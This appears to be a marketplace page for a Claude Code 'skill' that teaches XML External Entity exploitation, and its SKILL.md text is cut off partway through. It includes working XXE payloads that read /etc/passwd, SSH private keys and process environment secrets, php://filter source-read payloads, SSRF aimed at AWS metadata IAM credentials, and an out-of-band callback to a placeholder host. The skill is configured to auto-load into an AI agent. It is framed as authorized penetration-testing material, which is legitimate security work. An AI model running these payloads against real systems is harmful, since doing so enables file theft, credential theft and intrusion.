Skip to content
Security
Skill

/exploiting-xxe

Exploit XML External Entity injection to read local files and reach internal services — in-band file read, php://filter base64 wrappers, SSRF to cloud metadata, blind out-of-band exfiltration with an external DTD, parameter entities, XInclude, and SVG/Office-document vectors.

BOOST
From plugin
secskills
17094 skills
Install
$ npx -y skills add trilwu/secskills --skill exploiting-xxe --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/exploiting-xxe

Context preview

The summary Claude sees to decide when to auto-load this skill.

Exploit XML External Entity injection to read local files and reach internal services — in-band file read, php://filter base64 wrappers, SSRF to cloud metadata, blind out-of-band exfiltration with an external DTD, parameter entities, XInclude, and SVG/Office-document vectors.

SKILL.md

exploiting-xxe.SKILL.md
name: exploiting-xxe
description: Exploit XML External Entity injection to read local files and reach internal services — in-band file read, php://filter base64 wrappers, SSRF to cloud metadata, blind out-of-band exfiltration with an external DTD, parameter entities, XInclude, and SVG/Office-document vectors. Use when an endpoint accepts XML (`Content-Type: application/xml`, `text/xml`, or a SOAP envelope), a file upload parses SVG, DOCX, XLSX, PPTX, PDF, or raw XML, a request body starts with `<?xml`, or the target consumes SAML.
verified: 2026-07-26

Exploiting XXE

XXE is what happens when an XML parser is allowed to resolve external entities the document defines. The attacker writes a DTD that tells the parser to fetch a file or a URL, and the parser obliges with the server's privileges. The reach is local file read and SSRF into the internal network. The hard cases are blind — the parser resolves the entity but never reflects it, so you exfiltrate out of band or through error messages.

Only against systems you are authorized to test.

When to Use

  • A request body is XML: `Content-Type: application/xml`, `text/xml`, or a SOAP

envelope, and the body starts with `<?xml`

  • A file upload parses a format that is XML underneath: SVG, or an Office OOXML

file (DOCX, XLSX, PPTX) which is a ZIP of XML parts, or an XML-bearing PDF

  • An endpoint consumes RSS/Atom feeds, XML-RPC, or SAML assertions
  • A parameter or field is later embedded into a server-side XML document
  • Source review shows an XML parser built without external entities disabled
  • You have a suspected sink but no reflected output — test for blind XXE

When NOT to Use

  • **The wider web methodology** — use `testing-web-applications` to find the

sink before you land here

  • **The primitive is a plain URL fetch, not XML** — use `exploiting-ssrf`
  • **Object deserialization** — a different sink; use `exploiting-deserialization`
  • **XXE inside a SAML flow specifically** — start with `attacking-saml` for the

signature, replay, and assertion context, then return here for the parser

  • **Finding the parser configuration in source** — use

`auditing-code-for-vulnerabilities`

Recognizing XML Sinks

XML hides in more places than a `Content-Type` header:

  • **Raw XML bodies** — REST endpoints that accept `application/xml`
  • **SOAP** — the envelope is XML; the `<?xml` prolog and DTD go before `<soap:Envelope>`
  • **SVG uploads** — avatars, image processors, thumbnailers, chart renderers
  • **Office OOXML** — DOCX/XLSX/PPTX are ZIP archives of XML parts; the parser

reads `word/document.xml`, `xl/workbook.xml`, etc.

  • **PDF** — some generators and XMP metadata paths parse embedded XML
  • **RSS/Atom** — feed importers parse attacker-controlled feed URLs
  • **SAML** — the `<samlp:Response>` and `<saml:Assertion>` are XML
  • **XML-RPC** — the method call envelope is XML
  • **Config/import features** — "import from XML", sitemap uploads, plist parsing

The tell for a live parser: submit a benign internal entity and see it expand.

<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY test "expanded-value"> ]>
<r>&test;</r>

If `expanded-value` appears in the response, general entities resolve and the next step is an external entity.

Classic In-Band File Read

When the entity value is reflected somewhere in the response:

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>

Place `&xxe;` in whatever element the application echoes back — a name, a comment, a search term. High-value local targets:

file:///etc/passwd
file:///etc/hostname
file:///proc/self/environ         # env vars, sometimes secrets and tokens
file:///proc/self/cmdline
file:///proc/self/cwd/             # directory listing on some parsers
file:///var/www/html/config.php
file:///home/<user>/.ssh/id_rsa
file:///c:/windows/win.ini         # Windows

php://filter for Files That Break XML

A file containing `<`, `&`, or other XML-significant bytes (source code, config, `/etc/shadow`) will break the parse when read directly. On PHP targets, wrap it in the base64 filter so the entity value is pure base64:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo>&xxe;</foo>

Decode the returned blob with `base64 -d`. This is the go-to for reading PHP source and any file whose raw content would otherwise corrupt the document.

SSRF via XXE

An external entity pointed at a URL turns the parser into an HTTP client. The server fetches with its own network position, which reaches internal services and the cloud metadata endpoint:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<foo>&xxe;</foo>

Everything about target selection, IMDSv2's header requirement, alternate IP encodings, and internal service hunting lives in `exploiting-ssrf` — XXE is just another way to originate the request. Note the XML parser is a *plain* fetcher: it cannot set the `X-aws-ec2-metadata-token` header, so IMDSv2 blocks it the same way it blocks simple SSRF. AWS IMDSv1 needs no header and stays in reach, but Azure (`Metadata: true`) and GCP (`Metadata-Flavor: Google`) require a header XXE cannot set — out of reach like IMDSv2. Header-less internal services remain.

Blind XXE: Out-of-Band Exfiltration

Most real XXE returns nothing useful. Confirm the parser reaches out at all with a simple OOB ping:

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://<unique>.oast.example/ping"> ]>
<foo>&xxe;</foo>

A DNS or HTTP hit at Burp Collaborator / interact.sh confirms blind XXE. To exfiltrate file contents you need **parameter entities** (`%name`) and an **external DTD** hosted on your server, because a general external entity cannot be used inside another entity's definition, but parameter entities can.

Host t

Read more
Ships withsecskills

**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

Get the whole plugin

Other skills on secskills.